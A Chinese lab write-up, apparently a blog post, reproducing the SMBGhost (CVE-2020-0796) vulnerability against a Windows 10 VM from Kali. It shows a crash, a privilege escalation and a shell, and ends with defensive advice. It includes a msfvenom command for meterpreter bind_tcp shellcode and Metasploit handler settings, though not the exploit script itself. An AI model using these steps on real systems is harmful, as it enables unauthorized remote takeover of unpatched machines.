CVE-2020-0796复现(基于kali实现)

目录

目录

一、引言

二、漏洞原理

2.1影响版本

2.2漏洞复现环境

三、漏洞复现过程

3.1建立连接

3.2攻击(1):蓝屏

3.1攻击(2):本地提权

3.3攻击(3):反弹shell

五、 攻击的防护:

一、引言

CVE-2020-0796是指影响微软Windows 10和Windows Server 2019的一个漏洞,通常被称为"SMBGhost"或"CoronaBlue"。这是一个严重的漏洞,涉及SMBv3协议的一部分。

漏洞类型: 安全性协议漏洞。该漏洞影响SMBv3协议,该协议用于在局域网中共享文件和打印机。

漏洞影响:影响运行Windows 10和Windows Server 2019的系统。攻击者可以利用此漏洞在未经授权的情况下执行任意代码。

攻击方式:攻击者可以通过发送特制的SMBv3请求来触发漏洞。成功利用漏洞的攻击者可以执行任意代码,从而控制受影响的系统。

修复措施: 微软在2020年3月的安全更新中发布了相应的修复。用户应确保其操作系统和相关的安全更新已经安装,以防止受到这个漏洞的威胁。

二、漏洞原理

SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

2.1影响版本

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

2.2漏洞复现环境

目标机:192.168.108.136--> windows10 x64 1909  OS版本:10.0.18362(虚拟机)

攻击机:

192.168.108.137--> Kali Linux x64 (虚拟机)

192.168.22.232 --> Microsoft Windows 11 专业版10.0.19044 (物理机)

三、漏洞复现过程

3.1建立连接

在VMware中开启分别开启靶机和攻击机

使用ifconfig 与ipconfig命令查看各自地址

使用Ping命令相互查看是否可通信

若无法查看IP地址

使用 dhclient -v命令重新分配ip地址

再使用Ping检测是否可通信

二者可以相互ping通说明攻击机与靶机可通信

 3.2攻击(1):蓝屏

利用PoC脚本扫描脚本,查看靶机是否可攻击

显示靶机可以利用该漏洞攻击

在kali Linux中运行PoC脚本

查看靶机状态

靶机显示蓝屏攻击成功

3.1攻击(2):本地提权

从物理机导入提权EXP脚本

关闭防火墙:微软在后续版本中对系统打上了系统补丁,故该脚本无法直接运行

攻击前:查看当前用户为普通用户(whoami命令执行)

攻击后:查看当前用户为管理员

提权成功

3.3攻击(3):反弹shell

使用msfvenom生成payload:

msfvenom -p windows/x64/meterpreter/bind_tcp lport=9999 -f py -o shellcode.txt

生成一个payload的shellcode

生成的shellcode如下图

将外部导入的EXP脚本的exploit.py的参数user-load替换为生成的shellcode

替换后的新脚本如下:

在kali中开启侦听:

1. msfconsole: 启动Metasploit控制台。

2. use exploit/multi/handler: 指定使用Metasploit的"multi/handler"模块,该模块用于处理多种类型的攻击载荷。

3. set payload windows/x64/meterpreter/bind_tcp: 设置使用Meterpreter作为攻击载荷,该载荷用于创建一个绑定式TCP shell,针对64位Windows系统。

4. set lport 9999: 设置监听器使用的本地端口号为9999。

5. set rhost 192.168.108.136: 设置远程目标主机的IP地址为192.168.108.136。然而,在这里使用的是`bind_tcp`,它不需要指定远程主机,因此在这种情况下,这个命令没有实际效果。

6. run: 执行前面设置的模块和参数,开始监听指定的端口,等待目标系统连接。

新开一个终端运行更改后的explloit脚本

运行EXP脚本

返回侦听界面即可进入靶机

输入shell可进入靶机的shell界面

攻击成功!

  • 攻击的防护:

  1. 安装最新的安全更新: 确保Windows操作系统已经安装了Microsoft发布的最新安全更新。

2. 网络分段: 将网络分为不同的区域,将不同的系统放置在不同的网络中。这样可以减少横向移动的可能性,即使某个系统受到攻击,攻击者也更难在网络中传播。

  1. 启用防火墙:在上述攻击中我们关闭的防火墙,所以在现实应用中启用主机防火墙并限制不必要的网络流量是十分必要的

4. 网络监控: 在网络上设置监控和日志记录,以便及时检测和响应异常活动。

5. 应用补丁管理:建立有效的应用补丁管理程序,确保系统和应用程序都及时安装了最新的安全补丁。

PS: 脚本代码参看站内其他博客哈
  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值